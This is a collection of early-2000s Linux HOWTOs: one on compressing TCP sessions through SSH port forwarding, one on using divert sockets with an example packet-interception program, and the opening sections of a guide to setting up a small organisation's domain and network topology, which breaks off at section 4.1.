  • Four Phases of Linux Acceptance
  • To use, or not to use?
  • Linux Compared to Other OSs


Compressed TCP/IP-Sessions using SSH-like tools

Sebastian Schreiber <Schreib@SySS.de>

2.2.2000

1. Introduction

2. Compressing HTTP/FTP,...

3. Compressing Email

  • 3.1 Incoming Emails (POP3, IMAP4)
  • 3.2 Outgoing Email (SMTP)

4. Thoughts about performance.

5. Greetings


Compressed TCP/IP-Sessions using SSH-like tools: Introduction

 Next Previous Contents

1. Introduction

In the past, we used to compress files in order to save disk space. Today, disk space is cheap - but bandwidth is limited. By compressing data streams, you achieve two goals:

1) You save bandwidth/transfered volume (that is important if you have to pay for traffic or if your network is loaded.).

2) Speeding up low-bandwidth connections (Modem, GSM, ISDN).

This HowTo explains how to save both bandwith and connection time by using tools like SSH1, SSH2, OpenSSH or LSH.


Compressed TCP/IP-Sessions using SSH-like tools: Compressing HTTP/FTP,...

 Next Previous Contents

2. Compressing HTTP/FTP,...

My office is connected with a 64KBit ISDN line to the internet, so the maximum transfer rate is about 7K/s. You can speed up the connection by compressing it: when I download files, Netscape shows up a transfer rate of up to 40K/s (Logfiles are compressable by factor 15). SSH is a tool that is mainly designed to build up secure connections over unsecured networks. Further more, SSH is able to compress connections and to do port forwarding (like rinetd or redir). So it is the appropriate tool to compress any simple TCP/IP connection. "Simple" means, that only one TCP-connection is opened. An FTP-connections or the connection between M$-Outlook and MS-Exchange are not simple as several connections are established. SSH uses the LempleZiv (LZ77) compression algorithm - so you will achieve the same high compression rate as winzip/pkzip. In order to compress all HTTP-connections from my intranet to the internet, I just have to execute one command on my dial-in machine:

ssh -l <login ID> <hostname> -C -L8080:<proxy_at_ISP>:80 -f sleep 10000

<hostname> = host that is located at my ISP. SSH-access is required.

<login ID> = my login-ID on <hostname>

<proxy_at_ISP> =the web proxy of my ISP

My browser is configured to use localhost:8080 as proxy. My laptop connects to the same socket. The connection is compressed and forwarded to the real proxy by SSH. The infrastructure looks like:

                  64KBit ISDN
My PC--------------------------------A PC (Unix/Linux/Win-NT) at my ISP
SSH-Client         compressed        SSH-Server, Port 22
Port 8080                             |
 |                                    |
 |                                    |
 |                                    |
 |10MBit Ethernet                     |100MBit
 |not compressed                      |not compressed
 |                                    |
 |                                    |
My second PC                         ISP's WWW-proxy
with Netscape,...                    Port 80
(Laptop)


Compressed TCP/IP-Sessions using SSH-like tools: Compressing Email

 Next Previous Contents

3. Compressing Email

3.1 Incoming Emails (POP3, IMAP4)

Most people fetch their email from the mailserver via POP3. POP3 is a protocol with many disadvantages:

  1. POP3 transfers password in clear text. (There are SSL-implementations of POP/IMAP and a challenge/response authentication, defined in RFC-2095/2195).
  2. POP3 causes much protocol overhead: first the client requests a message than the server sends the message. After that the client requests the transferred article to be deleted. The server confirms the deletion. After that the server is ready for the next transaction. So 4 transactions are needed for each email.
  3. POP3 transfers the mails without compression although email is highly compressible (factor=3.5).

You could compress POP3 by forwarding localhost:110 through a compressed connection to your ISP's POP3-socket. After that you have to tell your mail client to connect to localhost:110 in order to download mail. That secures and speeds up the connection -- but the download time still suffers from the POP3-inherent protocol overhead.

It makes sense to substitute POP3 by a more efficient protocol. The idea is to download the entire mailbox at once without generating protocol overhead. Furthermore it makes sense to compress the connections. The appropriate tool which offers both features is SCP. You can download your mail-file like this:

scp -C -l loginId:/var/spool/mail/loginid /tmp/newmail

But there is a problem: what happens if a new email arrives at the server during the download of your mailbox? The new mail would be lost. Therefore it makes more sense to use the following commands:

ssh -l loginid mailserver -f mv /var/spool/mail/loginid /tmp/loginid_fetchme

scp -C -l loginid:/tmp/my_new_mail /tmp/loginid_fetchme

A move (mv) is a elementary operation, so you won't get into truble if you receive new mail during the execution of the comands. But if the mail server directories /tmp/ and /var/spool/mail are not on the same disc you might get problems. A solution is to create a lockfile on the server before you execute the mv: touch /var/spool/mail/loginid.lock. You should remove it, after that. A better solution is to move the file loginid in the same directory:

ssh -l loginid mailserver -f mv /var/spool/mail/loginid /var/spool/mail/loginid_fetchme

After that you can use formail instead of procmail in order to filter /tmp/newmail into the right folder(s): formail -s procmail < /tmp/newmail

3.2 Outgoing Email (SMTP)

You send email over compresses and encrypted SSH-connections, in order to:

  • Save network traffic
  • Secure the connection (This does not make sense, if the mail is transported over untrusted networks, later.)
  • Authenticate the sender. Many mail servers deny mail relaying in order to prevent abuse. If you send an email over an SSH-connection, the remote mail server (i.e. sendmail or MS-exchange) thinks to be connected, locally.

If you have SSH-access on the mail server, you need the following command:

ssh -C -l loginid mailserver -L2525:mailserver:25

If you don't have SSH-access on the mail server but to a server that is allowed to use your mail server as relay, the command is:

ssh -C -l loginid other_server -L2525:mailserver:25

After that you can configure your mail client (or mail server: see "smarthost") to send out mails to localhost port 2525.


Compressed TCP/IP-Sessions using SSH-like tools: Thoughts about performance.

 Next Previous Contents

4. Thoughts about performance.

Of course compression/encryption takes CPU time. It turned out that an old Pentium-133 is able to encrypt and compress about 1GB/hour -- that's quite a lot. If you compile SSH with the option "--with-none" you can tell SSH to use no encryption. That saves a little performance. Here is a comprise between several download methods (during the test, a noncompressed 6MB-file was transfered from a 133MHz-Pentium-1 to a 233MHz Pentium2 laptop over a 10MBit ethernet without other load).

+-------------------+--------+----------+-----------+----------------------+
|                   |  FTP   |encrypted |compressed |compressed & encrypted|
+-------------------+--------+----------+-----------+----------------------+
+-------------------+--------+----------+-----------+----------------------+
|   Elapsed Time    | |7.6s  |   26s    |    9s     |          23s         |
+-------------------+--------+----------+-----------+----------------------+
|    Throughput     | 790K/s |  232K/s  |  320K/s   |        264K/s        |
+-------------------+--------+----------+-----------+----------------------+
|Compression Factor |   1    |    1     |    3.8    |          3.8         |
+-------------------+--------+----------+-----------+----------------------+


Compressed TCP/IP-Sessions using SSH-like tools: Greetings

 Next Previous Contents

5. Greetings

Thanks to Harald König <koenig@tat.physik.uni-tuebingen.de>, who used rcp in order to download complete mailboxes. The latest version of this howto is available on http://www.syss.de/howto.


Divert Sockets mini-HOWTO

Ilia Baldine, ibaldin@anr.mcnc.org

v1.1, 27 February 2000

This document describes how to get, compile and use FreeBSD divert sockets under Linux 2.2.12.

1. Copyright

2. Disclaimer

3. Foreword

4. Introduction

5. Getting and Compiling the Source Code

  • 5.1 Getting *The Source*
  • 5.2 Compiling

6. Using Divert Sockets

  • 6.1 Divert sockets vs. other stuff
  • 6.2 Discussion on firewall chains
  • 6.3 Using ipchains
  • 6.4 Plain vanilla example
  • 6.5 The sky's the limit

7. Advanced issues

  • 7.1 Packet Mangling
  • 7.2 Injection with no interception
  • 7.3 Fragmentation

8. Geting More Information

  • 8.1 The website
  • 8.2 The mailing list

9. Future work


Divert Sockets mini-HOWTO: Copyright

 Next Previous Contents

1. Copyright

Copyright 1999(c) by Ilia Baldine. This document may be distributed only subject to the terms and conditions set forth in the LDP License at, except that this document must not be distributed in modified form without the author's consent.


Divert Sockets mini-HOWTO: Disclaimer

 Next Previous Contents

2. Disclaimer

This work has been done as part of a DARPA-funded network security project. Neither I (Ilia Baldine), nor my employer (MCNC) nor DARPA can be held accountable for any damage real or potential that can come to you through the use by you or other parties of the code and/or procedures described in this document. As many other network mechanisms, divert sockets can be used as much for evil as for good and its your choice!


Divert Sockets mini-HOWTO: Foreword

 Next Previous Contents

3. Foreword

Here's an easy game to play,
Here's an easy thing to say:

If a packet hits a pocket
 on a socket on a port
And the bus is interrupted
  as a very last resort,
And the address of the memory
  makes your floppy disk abort,
Then the socket packet pocket
  has an error to report!!

If your cursor finds a menu item
  followed by a dash,
And the double clicking icon puts  your
  window in the trash,
And your data is corrupted 'cause the
  index doesn't hash,
Then the situation's hopeless, and your
  system's gonna crash!

YOU CAN'T SAY THIS? WHAT A SHAME SIR!
WE'LL FIND ANOTHER GAME SIR

If the label on the cable on the table
  at your house,
Says the network is connected to
  the button on your mouse,
But your packets want to tunnel
  on another protocol,
That's repeatedly rejected
  by the printer down the hall,
And your screen is all distorted
  by the side effects of gauss
So your icons in the window are
  as wavy as a souse,
Then you  may as well reboot and
  go out with a bang,
'Cause as sure as I'm a poet,
  the sucker's gonna hang!
When the copy of your floppy's
  getting sloppy on the disk
And the microcode instructions cause
 unnecessary risc,
Then you have to flash your memory and
  you'll want to RAM your  ROM
Quickly turn off your computer and
  be sure  to tell your mom!

-- Anonymous


Divert Sockets mini-HOWTO: Introduction

 Next Previous Contents

4. Introduction

Ever wish you could intercept packets traveling up or down the IP stack of your host? And I'm not talking about listening in, like raw sockets or libpcap (tcpdump). I mean literally stop the packet from further propagating through the IP stack and then (possibly after some changes), reinjecting it back? Well, the time to dream is over, because divert sockets for Linux are here!

Divert sockets do exactly that - they filter out certain packets based on firewall specifications and bring them to you in user space. You then have the freedom of simply reinjecting them back as if nothing happened, mangling them first and then reinjecting them, or not reinjecting them at all.

As the name suggests, this mechanism utilizes a special type of RAW socket called divert (IPPROTO_DIVERT) that allow you to receive and send on them just like regular sockets. The difference is that a divert socket is bound to a port, into which the firewall can be instructed to send certain packets. Anything that a firewall can filter out can be sent into a divert socket.

Divert sockets first appeared as part of FreeBSD. Divert sockets under Linux is a port of this mechanism that strives to be source-code compatible in terms of user-space programs that utilize it.


Divert Sockets mini-HOWTO: Getting and Compiling the Source Code

 Next Previous Contents

5. Getting and Compiling the Source Code

In order to use divert sockets under Linux you will need two things - the kernel source code that has been patched for divert sockets and the source code to ipchains-1.3.9 that, also, has been patched to use divert sockets.

5.1 Getting *The Source*

Both pieces of source code can be retrieved from the divert socket web-site http://www.anr.mcnc.org/~divert You can get the source code for divert sockets kernel in two forms - as a patch to linux-2.2.12 that you have to apply to a fresh 2.2.12 source, or as an already patched kernel tarball (much larger than the patch). ipchains source is provided as complete source tarball only.

5.2 Compiling

Compiling ipchains is straightforward - simply say

make
in the ipchains-1.3.9 subdirectory.

When compiling the divert-socket kernel - use your favorite way of configuring it:

make config
or
make menuconfig
or
make xconfig
Don't forget to enable "Prompt for development and/or incomplete code/drivers" before proceeding. There are only three compile-time options that affect the behavior of divert sockets and they are explained in the following section

Kernel compile-time options

In order to enable divert sockets in your kernel you must enable firewalling and IP firewalling first. The three kernel compile-time options that affect the behavior of divert sockets are:

IP: divert sockets

Enables the divert sockets in your kernel.

IP: divert pass-through

Changes the behavior of DIVERT rules: by default if a DIVERT rule is present in a firewall and no application is listening on the port that the rule specifies, any packet that satisfies the rule is silently dropped, as if it were a DENY rule.

Enabling the pass-through mode results in such packets continuing their way through the IP stack as if nothing happened. This could be helpful if you want to have a static rule in the firewall, but don't always want to listen on it.

IP: always defragment

Changes the way that the sockets deal with fragmentation. By default the divert socket receives individual fragments of packets that are larger than MTU, which it then forwards to user space. The burden of defragmentation in this case lies with the application listening on the divert socket. Also, an application cannot inject any fragments that are larger than MTU, because they will be dropped (this is the limitation of the kernel, not the divert sockets - Linux kernels up to 2.2.x do NOT fragment raw packets with IP_HDRINCL option set). Typically, thats OK, since if you simply reinject the fragments the way you received them, everything will work fine, since none of them are going to be larger than MTU.

If you enable the always defragment option, then all the defragmentation will be done for you in the kernel. This severely affects the performance of the interception mechanism, since now every large packet you want intercepted will first have to be reassembled prior to being forwarded to you, and then, if you choose to reinject it - it will have to be fragmented again (the kernel with this option will be enabled to fragment raw packets with IP_HDRINCL)

This was the only option available for divert sockets under Linux 2.0.36 because of the way the firewall code was structured - it only looked at the first fragment of every packet and passed all other fragments without looking at them. This way, if the first fragment were dropped by the firewall, the rest of them would be eventually discarded by the defragmenter. That's why in order for DIVERT sockets to work you were forced to compile the always defragment option in, so that you would always get the whole packet diverted to you and not just the first fragment.

In 2.2.12, thanks to changes in the firewall code you now have an option of having the kernel or yourself doing fragmentation/defragmentation.

NOTE: the defragmentation feature has not been added as of release 1.0.4 of divert sockets. It is in the works though.


Divert Sockets mini-HOWTO: Using Divert Sockets

 Next Previous Contents

6. Using Divert Sockets

This section will give you examples of how divert sockets can be used and how they are different of other packet interception mechanisms out there.

6.1 Divert sockets vs. other stuff

There are other mechanisms out there that have similar functionality. Here is why they are different:

Netlink sockets

Netlink sockets can intercept packets just like divert sockets by using firewall filter. They have a special type (AF_NETLINK) and on the surface seem to do the same thing. Two major differences are:

  • Netlink sockets have no ports, so it is difficult to have multiple processes intercepting different things (divert sockets have a standard 16-bit port space, which means you can have 65535 processes diverting packets independently)
  • Netlink sockets have no easy way of injecting the packets that are outbound (going on the wire) because no special precautions are taken not to reintercept the same packet over and over again as it is injected. Divert sockets do this automatically
To be fair, the scope of netlink sockets is wider than this. In general, netlink mechanism is intended to allow communication between kernel and user space. There are, for instance, netlink routing sockets that allow you to communicate with the routing subsystem. However, as a packet interception mechanism, they are not as robust as divert sockets.

Raw sockets

RAW sockets can be a good way to listen in on traffic (especially under Linux, where RAW sockets can listen in on TCP and UDP traffic, although most other UNI*s do not allow that) but a RAW socket can't stop a packet from propagating through the IP stack - it simply gives you a copy of the packet and there is no way to inject it inbound (on the way up the stack) - only outbound. Also, you can only filter pockets out by the protocol number, which you specify when you open a RAW socket. There is no link between the firewall and RAW sockets.

libpcap

More commonly known for the tool it facilitates - tcpdump, libpcap lets you listen in on traffic that hits your interface (whether it be ppp or eth or whatever). For ethernet it can also put your NIC into a promiscuous mode, so that it will forward to IP the traffic that not only is link-layer addressed to it, but to others on the same segment. Of course, libpcap allows for no way of actually stopping packets from propagating and no way to inject. In fact, libpcap is in many ways orthogonal to divert sockets.

6.2 Discussion on firewall chains

Linux provides you with three default chains: input, output and forward. There are also accounting chains, but they are of no consequence here. Depending on the packet origin it traverses one or more of these chains:

Input chain

is traversed by all packets that come into the host - packets that are addressed to it and packets that will be forwarded by it.

Output chain

is traversed by all packets originating in the host and by all forwarded packets

Forward chain

is traversed only by the forwarded packets.

The order in which a forwarded packet traverses the chains is:

  1. Input
  2. Forward
  3. Output
This may sometimes create problems for the interception if you are interested in a certain type of packets that may or may not originate on your host. A lot of times it is not clear which chain to use.

As a rule of thumb, forward chain should only be used to filter packets that are forwarded and are not originating and are not addressed to your host. If you are interested in a combination of both forwarded packets and packets that are originating or addressed to your host, then use input or output chain instead. Intercepting on forward and input or output chain for the same type of packet at the same time will create problems in reinjection and, more importantly, is unnecessary.

6.3 Using ipchains

The patched version of ipchains that you will need to retrieve from the website, is the tool that allows you to modify firewall rules from a shell (most people want that). It is also possible to set up firewall rules programmatically. See the example code for this - setting up a DIVERT rule would be similar to setting up a REDIRECT rule - specify DIVERT as a target and the divert port and you are set to go.

The ipchains syntax for setting up firewall rules remains the same. To specify a DIVERT rule you must specify -j DIVERT <port num> as a target, everything else remains the same. For instance

ipchains -A input -p ICMP -j DIVERT 1234
would set up a divert rule for ICMP packets to be diverted from input chain to a port 1234.

The following section explains how to use ipchains in conjunction with an interceptor user-space program.

6.4 Plain vanilla example

Example program

Here is an example program that reads packets from a divert socket, displays them and then reinjects them back. It requires that the divert port is specified on the command line.

#include <stdio.h>
#include <errno.h>
#include <limits.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <signal.h>

#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <net/if.h>
#include <sys/param.h>

#include <linux/types.h>
#include <linux/icmp.h>
#include <linux/ip_fw.h>

#define IPPROTO_DIVERT 254
#define BUFSIZE 65535

char *progname;

#ifdef FIREWALL

char *fw_policy="DIVERT";
char *fw_chain="output";
struct ip_fw fw;
struct ip_fwuser ipfu;
struct ip_fwchange ipfc;
int fw_sock;

/* remove the firewall rule when exit */
void intHandler (int signo) {

  if (setsockopt(fw_sock, IPPROTO_IP, IP_FW_DELETE, &ipfc, sizeof(ipfc))==-1) {
    fprintf(stderr, "%s: could not remove rule: %s\n", progname, strerror(errno));
    exit(2);
  }

  close(fw_sock);
  exit(0);
}

#endif

int main(int argc, char** argv) {
  int fd, rawfd, fdfw, ret, n;
  int on=1;
  struct sockaddr_in bindPort, sin;
  int sinlen;
  struct iphdr *hdr;
  unsigned char packet[BUFSIZE];
  struct in_addr addr;
  int i, direction;
  struct ip_mreq mreq;

  if (argc!=2) {
    fprintf(stderr, "Usage: %s <port number>\n", argv[0]);
    exit(1);
  }
  progname=argv[0];

  fprintf(stderr,"%s:Creating a socket\n",argv[0]);
  /* open a divert socket */
  fd=socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT);

  if (fd==-1) {
    fprintf(stderr,"%s:We could not open a divert socket\n",argv[0]);
    exit(1);
  }

  bindPort.sin_family=AF_INET;
  bindPort.sin_port=htons(atol(argv[1]));
  bindPort.sin_addr.s_addr=0;

  fprintf(stderr,"%s:Binding a socket\n",argv[0]);
  ret=bind(fd, &bindPort, sizeof(struct sockaddr_in));

  if (ret!=0) {
    close(fd);
    fprintf(stderr, "%s: Error bind(): %s",argv[0],strerror(ret));
    exit(2);
  }
#ifdef FIREWALL
  /* fill in the rule first */
  bzero(&fw, sizeof (struct ip_fw));
  fw.fw_proto=1; /* ICMP */
  fw.fw_redirpt=htons(bindPort.sin_port);
  fw.fw_spts[1]=0xffff;
  fw.fw_dpts[1]=0xffff;
  fw.fw_outputsize=0xffff;

  /* fill in the fwuser structure */
  ipfu.ipfw=fw;
  memcpy(ipfu.label, fw_policy, strlen(fw_policy));

  /* fill in the fwchange structure */
  ipfc.fwc_rule=ipfu;
  memcpy(ipfc.fwc_label, fw_chain, strlen(fw_chain));

  /* open a socket */
  if ((fw_sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) {
    fprintf(stderr, "%s: could not create a raw socket: %s\n", argv[0], strerror(errno));
    exit(2);
  }

  /* write a rule into it */
  if (setsockopt(fw_sock, IPPROTO_IP, IP_FW_APPEND, &ipfc, sizeof(ipfc))==-1) {
    fprintf(stderr, "%s could not set rule: %s\n", argv[0], strerror(errno));
    exit(2);
  }

  /* install signal handler to delete the rule */
  signal(SIGINT, intHandler);
#endif /* FIREWALL */

  printf("%s: Waiting for data...\n",argv[0]);
  /* read data in */
  sinlen=sizeof(struct sockaddr_in);
  while(1) {
    n=recvfrom(fd, packet, BUFSIZE, 0, &sin, &sinlen);
    hdr=(struct iphdr*)packet;

    printf("%s: The packet looks like this:\n",argv[0]);
        for( i=0; i<40; i++) {
                printf("%02x ", (int)*(packet+i));
                if (!((i+1)%16)) printf("\n");
        };
    printf("\n");

    addr.s_addr=hdr->saddr;
    printf("%s: Source address: %s\n",argv[0], inet_ntoa(addr));
    addr.s_addr=hdr->daddr;
    printf("%s: Destination address: %s\n", argv[0], inet_ntoa(addr));
    printf("%s: Receiving IF address: %s\n", argv[0], inet_ntoa(sin.sin_addr));
    printf("%s: Protocol number: %i\n", argv[0], hdr->protocol);

    /* reinjection */

#ifdef MULTICAST
   if (IN_MULTICAST((ntohl(hdr->daddr)))) {
        printf("%s: Multicast address!\n", argv[0]);
        addr.s_addr = hdr->saddr;
        errno = 0;
        if (sin.sin_addr.s_addr == 0)
            printf("%s: set_interface returns %i with errno =%i\n", argv[0], setsockopt(fd, IPPROTO_IP, IP_MULTICAST_IF, &addr, sizeof(addr)), errno);
    }
#endif

#ifdef REINJECT
   printf("%s Reinjecting DIVERT %i bytes\n", argv[0], n);
   n=sendto(fd, packet, n ,0, &sin, sinlen);
   printf("%s: %i bytes reinjected.\n", argv[0], n);

   if (n<=0)
     printf("%s: Oops: errno = %i\n", argv[0], errno);
   if (errno == EBADRQC)
     printf("errno == EBADRQC\n");
   if (errno == ENETUNREACH)
     printf("errno == ENETUNREACH\n");
#endif
  }
}

You can simply cut-n-paste the code and compile it with your favorite compiler. If you want to enable reinjection - compile it with the -DREINJECT flag, otherwise it will only do the interception.

In order to get it to work, compile the kernel and ipchains-1.3.8 as described above. Insert a rule into any of the firewall chains: input, output or forward, then send the packets that would match the rule and watch them as they fly through the screen - your interceptor program will display them and then reinject them back, if appropriately compiled.

For example:

ipchains -A output -p TCP -s 172.16.128.10 -j DIVERT 4321
interceptor 4321
will divert and display all TCP packets originating on host 172.16.128.10 (for instance if your host is a gateway). It will intercept them on the output just before they go on the wire.

If you did not compile the pass through option into the kernel, then inserting the rule effectively will create a DENY rule in the firewall for the packets you specified until you start the interceptor program. See more on that above

If you want to set a firewall rule through your program, compile it with -DFIREWALL option and it will divert all ICMP packets from the output chain. It will also remove the DIVERT rule from the firewall when you use Ctrl-C to exit the program. In this case using pass-through vs. non-pass-through divert sockets makes virtually no difference.

6.5 The sky's the limit

As far as what you can use divert sockets for - your imagination would be the limiting factor. I would be interested to hear about applications that utilize divert sockets.

So, have fun!


Divert Sockets mini-HOWTO: Advanced issues

 Next Previous Contents

7. Advanced issues

7.1 Packet Mangling

After you intercept a packet, it is possible to change its header or contents before reinjecting it back. Here are a few rules you might need to keep in mind:

  • IP header checksum is always recalculated on injection
  • IP ID field is filled in for you if you leave it 0.
  • The length of the packet is updated for you.
All other parts of the IP header can be modified and its up to you to insure their sanity.

7.2 Injection with no interception

It is not necessary to intercept a packet in order to inject it. You can form your own packets and inject them into an open and bound divert socket. The header rules from above apply.

In addition, you need to pass to the divert socket a sockaddr_in structure (see example program), which will tell the socket where to inject. If you leave the structure 0-ed out or pass a NULL - the divert socket will attempt to inject the packet in the outbound direction (on the wire). If instead you fill the sockaddr_in structure with the address of one of the local interfaces, the divert socket will attempt to inject the packet inbound, as if it came from that interface. All addresses, of course, should be in network byte order.

Injection of packets that look like they are being forwarded by your host must include an address of the incoming interface (actually - any valid interface address will probably work).

7.3 Fragmentation

As of this reading, the divert sockets do not handle the defragmentation and fragmentation of diverted packets - you always get the fragments as they are on the wire and you should not inject fragments larger than PMTU. It is anticipated that the fragmentation/defragmentation capability will be added in the near future.


Divert Sockets mini-HOWTO: Geting More Information

 Next Previous Contents

8. Geting More Information

8.1 The website

As mentioned above, most of the information about divert sockets can be found on the Divert Sockets for Linux website http://www.anr.mcnc.org/~divert.

8.2 The mailing list

There is also a mailing list, whose archive can be found at the website. To join the mailing list send email with an empty subject and the following line in the body:

subscribe divert
to anr-majordomo@list.anr.mcnc.org. The list address is divert@list.anr.mcnc.org.

To unsubscribe, send mail to anr-majordomo@list.anr.mcnc.org with an empty subject and the following line in the body:

unsubscribe divert


Divert Sockets mini-HOWTO: Future work

 Next Previous Contents

9. Future work

As mentioned in the disclaimer, work on divert sockets is done as part of a DARPA-funded network security effort. We will continue to port divert sockets to further versions of the kernel as time permits. Given that 2.4 kernel is on the horizon, in all likelihood we will skip 2.3.x series altogether.


Setting Up Your New Domain Mini-HOWTO.

by Christopher Neufeld (neufeld@linuxcare.com)

version 0.12. 2000-10-27.

This document outlines the things you will probably have to do when you want to set up a network of computers under your own domain. It covers configuration of network parameters, network services, and security settings.

1. Notices

  • 1.1 Disclaimer
  • 1.2 Location
  • 1.3 Copyright

2. Introduction

3. Planning Your Network Topology

4. Obtaining Your Connection

  • 4.1 Choosing Your Provider
  • 4.2 Preparing For Hardware Installation
  • 4.3 Testing The Connection
  • 4.4 Using A Dynamic IP

5. Registering A Domain Name

6. Deciding Which Domain Services You Will Host

  • 6.1 Primary DNS Authority
  • 6.2 Electronic Mail
  • 6.3 Web Space Hosting
  • 6.4 FTP Site Hosting
  • 6.5 Packet Filtering

7. Configuring Your Hosted Services

  • 7.1 Setting up Name Resolution
  • 7.2 DNS Configuration If You Are Not Hosting Email
  • 7.3 Setting up Electronic Mail
  • 7.4 Setting up Web Space Hosting
  • 7.5 Setting up FTP Hosting
  • 7.6 Setting up Packet Filtering

8. Securing Your Domain

  • 8.1 Configuring Your Firewall
  • 8.2 Configuring OpenSSH or SSH1
  • 8.3 Configuring X
  • 8.4 Configuring Disk Sharing

9. Acknowledgements

10. Glossary of Terms


Setting Up Your New Domain Mini-HOWTO.: Notices

 Next Previous Contents

1. Notices

1.1 Disclaimer

This is a preliminary document. I have glossed over many things which could be given in much more detail, and have probably missed important sections entirely. Any suggestions for additions, deletions, or areas where I ought to provide more or less detail are very welcome.

1.2 Location

The most recent version of this document can be found at http://caliban.physics.utoronto.ca/neufeld/Domain.HOWTO/.

1.3 Copyright

Copyright (c) by Christopher Neufeld. This document may be distributed only subject to the terms and conditions set forth in the LDP License at this location.


Setting Up Your New Domain Mini-HOWTO.: Introduction

 Next Previous Contents

2. Introduction

This is a guide to setting up your own domain of Linux machines, or mixed Linux and Windows machines, on an always-up connection with a static IP and a named domain. It is not really intended for setups which use dynamic IPs, or which are regularly disconnected from their provider for long periods of time, though some basic hints for operating such a setup are available in section Using A Dynamic IP.

With the increasing availability of permanent connections and static IPs, it's becoming easier for people and organizations to set up a real domain, with the associated Internet presence. Proper planning at the outset can reduce problems later.

Much of this document describes techniques for implementing unobtrusive security on the newly exposed network. This deals with protection from external attack, and from casual internal attack. It does not claim to provide an extremely secure setup, but is usually enough to discourage the less determined attacker.

This document is primarily directed at small organizations which have an existing network of computers, possibly with a shared dialup line, which are trying to move to a permanent, relatively high-speed connection, either to improve data transfer with the outside world, or to create a WWW or FTP site. The document is also directed at new organizations which want to skip the early stage and start out with higher speed networking and services under their own domain name.

Throughout this document, I will discuss the configuration of a newly registered domain, example.com. Note that the name example.com is reserved by the Internet Assigned Numbers Authority for use in documentation, and so will never correspond to an actual domain.

Much of the information in this document is available in other places. I have tried to distill the material relevant to the creation of a new domain. Where detail on a specific subject is lacking, you may want to consult one of the more comprehensive documents.

This document will also assume a mixed OS environment. Specifically, I will assume that some desktop machines are running some version of Microsoft Windows, while servers and the private network gateway are running Linux.


Setting Up Your New Domain Mini-HOWTO.: Planning Your Network Topology

 Next Previous Contents

3. Planning Your Network Topology

While there are arguments which can be made for many different network layouts, the requirements of many organizations can be met by putting the desktop machines and private servers on a private masqueraded subnet, and the publicly accessible machines on valid external IPs. The machines on valid external IPs will be referred to in this document as ``exposed hosts''. This leads to the following (example) topology:

+--------------+
|              |               +---------------+
| ISP-supplied |---------------| FTP server    |
| router       |        |      +---------------+
|              |        |
+--------------+        |      +---------------+
                        |------| WWW server #1 |
                        |      +---------------+
                        |
                        |      +---------------+
                        |------| WWW server #2 |
                        |      +---------------+
                        |
                        ~
                        ~
                        |
                        |      +---------------+
                        |------| Private       |
                               | Network       |
                               | Gateway       |
                               +---------------+
                                      |
                                      |
                                      |
                                      |
     +------------+                   |      +-------------------+
     | Desktop #1 |-------------------|------| Private server #1 |
     +------------+                   |      +-------------------+
                                      |
            .      -------------------|--------        .
            .                         |                .
            .      -------------------|--------        .
                                      |
     +------------+                   |      +-------------------+
     | Desktop #N |-------------------|------| Private server #N |
     +------------+                          +-------------------+

In this example, the router provided by the ISP (Internet Service Provider), FTP server, WWW servers, and the machine labelled ``private network gateway'' all have externally visible IP numbers, while the desktop and private server machines have IP numbers allocated from RFC 1918, reserved for private use. The IP numbers you choose for use within the private network (everything below the private network gateway machine) should be chosen to be unique, not only among the hosts under your control, but should also not conflict with numbers assigned on similar private subnets at other sites or partner companies with whom you might, at some time, want to implement a virtual private network, in order to reduce confusion and reconfiguration when the networks are merged in that way. As outlined in the RFC, you can choose from any class C network from 192.168.0.* to 192.168.255.*, or any class B network from 172.16.*.* to 172.31.*.*, or the class A network 10.*.*.*. In the rest of this document I will assume that your private network (if you've chosen to create one) is on the class C network 192.168.1.*, and your private network gateway machine is at IP number 10.1.1.9, one of the IP numbers provided to you by your provider (note that this is not a valid external IP, I use it as an example only). I will also assume that there is a machine, betty.example.com, at 10.1.1.10, which will handle both www and FTP services.

Take note of the number of external IP numbers which you need for your own machines. You will need one IP number for each machine which lies outside the private network gateway, plus one for the gateway itself. This count does not include any IP numbers which may be taken by routers, broadcast addresses, and so on. You should ask your provider for a block of addresses large enough to mount the given number of machines. For example, in my office network, of the 8 IP numbers allocated from the ISP, three were not usable by my computers, leaving enough IP numbers for four machines outside the gateway, plus the gateway itself.

This network topology is not correct for everybody, but it is a reasonable starting point for many configurations which don't have special needs. The advantages of this configuration include:

  • Easy expandability. If you suddenly double your number of private nodes, you don't have to worry about getting a new IP block from your provider and reconfiguring all of the interfaces on your machines.
  • Local network control. Adding a new workstation to your private network requires no communication with your provider, unlike exposed nodes, which need both forward and reverse DNS (domain name service) mappings if they are to perform certain tasks (ssh and ftpd may complain if they can't perform reverse and forward DNS on incoming connections). A reverse DNS query is an attempt to obtain the host name from the IP number.
  • Centralized security. The private network gateway can enforce security over the whole private network, filtering packets and logging attacks, rather than having to install such measures on each desktop and server on the private network. This can be enforced not only on incoming packets, but also on outgoing packets, so that a misconfigured desktop machine doesn't inadvertently broadcast data to the outside world which ought to remain internal.
  • Easy transplantability. Because the IP numbers within the private network are yours for as long as you want them, you can move the entire network to a new range of IP numbers without having to make any changes to the network configuration on the private network. The publicly exposed hosts still have to be reconfigured, of course.
  • Transparent Internet access. The machines on your private network can still use FTP, telnet, WWW, and other services with minimal obstruction, assuming a Linux masquerading router. The users may not even be aware that their machines are not on externally visible IP numbers.

Some of the potential disadvantages of such a configuration are:

  • Some services will not be available directly to the machines on the internal network. NTP synchronization against an outside host, certain obscure services which may not have masquerading rules in the kernel, and .shosts authentication for logging in to external nodes are all difficult or impossible, but simple workarounds are almost always available.
  • More network hardware costs. The private network gateway machine needs two network cards, and you need at least two hubs / switches, one on the visible network and one on the private network.
  • Machines outside the private network cannot easily make direct connections to machines within the private network. They may have to open a session first on the private network gateway machine, then log through to the internal host. It is possible to route packets transparently through the firewall, but this is not recommended for security reasons which will be discussed in a later section.

You should consider these points in planning your network topology, and decide if a fully visible network is more appropriate for your situation. In the rest of this document I will assume that you have configured your network as shown above. If you have chosen to have a fully visible network, some details will differ, and I will try to point out such differences in this document.

As a special case, if you do not need any external servers, the ISP-supplied router can be attached directly to your external interface on the private network gateway machine, rather than with a hub.


Setting Up Your New Domain Mini-HOWTO.: Obtaining Your Connection

 Next Previous Contents

4. Obtaining Your Connection

4.1 Choosing Your Provider

